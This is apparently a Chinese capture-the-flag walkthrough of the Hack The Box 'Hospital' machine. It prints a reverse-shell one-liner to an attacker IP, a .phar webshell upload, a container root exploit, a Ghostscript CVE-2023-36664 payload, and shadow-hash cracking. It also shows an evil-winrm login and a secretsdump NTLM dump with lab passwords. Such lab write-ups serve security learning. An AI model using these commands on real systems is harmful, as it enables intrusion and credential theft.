基本信息

端口扫描

22,443,8080,还有一些常见windows端口：

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$ nmap -sC -sV 10.10.11.241
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-20 13:26 CST
Nmap scan report for 10.10.11.241
Host is up (0.19s latency).
Not shown: 980 filtered tcp ports (no-response)
PORT     STATE SERVICE           VERSION
22/tcp   open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)
|_  256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2023-11-20 12:29:51Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
443/tcp  open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-title: Hospital Webmail :: Welcome to Hospital Webmail
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
1801/tcp open  msmq?
2103/tcp open  msrpc             Microsoft Windows RPC
2105/tcp open  msrpc             Microsoft Windows RPC
2107/tcp open  msrpc             Microsoft Windows RPC
2179/tcp open  vmrdp?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3269/tcp open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: HOSPITAL
|   NetBIOS_Domain_Name: HOSPITAL
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: hospital.htb
|   DNS_Computer_Name: DC.hospital.htb
|   DNS_Tree_Name: hospital.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2023-11-20T12:30:51+00:00
| ssl-cert: Subject: commonName=DC.hospital.htb
| Not valid before: 2023-09-05T18:39:34
|_Not valid after:  2024-03-06T18:39:34
8080/tcp open  http              Apache httpd 2.4.55 ((Ubuntu))
| http-title: Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.55 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2023-11-20T12:30:51
|_  start_date: N/A
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 277.67 seconds

443

是webmail，需要登录，没有注册选项：

8080

8080是另一个系统，可以注册新账号：

注册登录，只有一个上传病历选项：

Hospital

尝试直接上传php后缀文件，失败：

但phar后缀文件可以正常上传：

但没有给出上传后路径，所以先进行目录扫描，发现uploads：

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gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt  -t 50 -u http://10.10.11.241:8080/

/.hta                 (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/css                  (Status: 301) [Size: 317] [--> http://10.10.11.241:8080/css/]
/fonts                (Status: 301) [Size: 319] [--> http://10.10.11.241:8080/fonts/]
/images               (Status: 301) [Size: 320] [--> http://10.10.11.241:8080/images/]
/index.php            (Status: 302) [Size: 0] [--> login.php]
/js                   (Status: 301) [Size: 316] [--> http://10.10.11.241:8080/js/]
/server-status        (Status: 403) [Size: 279]
/uploads              (Status: 301) [Size: 321] [--> http://10.10.11.241:8080/uploads/]
/vendor               (Status: 301) [Size: 320] [--> http://10.10.11.241:8080/vendor/]

文件名就是原样：

shell

但这种基础shell system函数不能成功执行，使用这个shell：

uploads目录有自动清理，通过webshell执行命令得到reverse shell:

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rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.5 4444 >/tmp/f

docker 提权

得到的shell是容器内www-data,简单的查看内核版本，和之前的Analytics一样的提权方式：

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unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("chmod +s /bin/bash")'

得到容器内root：

docker shadow

容器内shadow可以破解出drwilliams的密码

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root:$y$j9T$s/Aqv48x449udndpLC6eC.$WUkrXgkW46N4xdpnhMoax7US.JgyJSeobZ1dzDs..dD:19612:0:99999:7:::
drwilliams:$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/:19612:0:99999:7:::

sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

qwe123!@#

webmail

得到的账号密码ssh登录还是在容器内。但也可以登录webmail：

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drwilliams
qwe123!@#

查看邮件内容，提到GhostScript eps文件：

GhostScript

可以搜到ghostscript相关漏洞：

随意生成一个测试文件，然后直接修改其中calc为reverse powershell即可

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python3 CVE_2023_36664_exploit.py -g --payload calc --filename run_calculator --extension eps

通过邮件发送修改后的eps文件，得到drbrown shell：

user flag

drbrown桌面：

信息

ghostscript.bat里也可以得到drbrown的密码，并且drbrown在远程桌面用户组中：

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drbrown
chr!$br0wn

drbrown rdp

drbrown远程桌面登录,进去直接看到打开的浏览器中的webmail登录界面，并且账号密码是已填充状态：

(预期路径是通过键盘记录器获取自动输入的密码)

直接去掉password输入框的password属性即可看到明文：

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Administrator
Th3B3stH0sp1t4l9786!

提权 & root flag

得到的Administrator账号密码登录：

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evil-winrm -i 10.10.11.241 -u Administrator -p 'Th3B3stH0sp1t4l9786!'

hashdump

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python3 ~/Tools/impacket/examples/secretsdump.py -just-dc-ntlm Administrator:'Th3B3stH0sp1t4l9786!'@10.10.11.241

hospital.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:a1a0158142556cfc5aa9fdb974e0352f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:26fb7ca2f4a67b2d8d81ffcfeeeffd13:::
hospital.htb\$431000-R1KSAI1DGHMH:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hospital.htb\SM_0559ce7ac4be4fc6a:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hospital.htb\SM_bb030ff39b6c4a2db:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hospital.htb\SM_9326b57ae8ea44309:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hospital.htb\SM_b1b9e7f83082488ea:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hospital.htb\SM_e5b6f3aed4da4ac98:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hospital.htb\SM_75554ef7137f41d68:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hospital.htb\SM_6e9de17029164abdb:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hospital.htb\SM_5faa2be1160c4ead8:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hospital.htb\SM_2fe3f3cbbafa4566a:1133:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hospital.htb\drbrown:1601:aad3b435b51404eeaad3b435b51404ee:33a3edc8fc4cf06cb3b836c541a7b997:::
hospital.htb\drwilliams:1602:aad3b435b51404eeaad3b435b51404ee:c377ba8a4dd52401bc404dbe49771bbc:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:e5ab307522689fdeb58c50aec017c1a4:::
[*] Cleaning up...

非预期

drbrown对C:\xampp\htdocs有写权限，写webshell即可

(但根据rdp看到的自动填充Administrator账号密码，webshell这种方式应该是非预期)

参考资料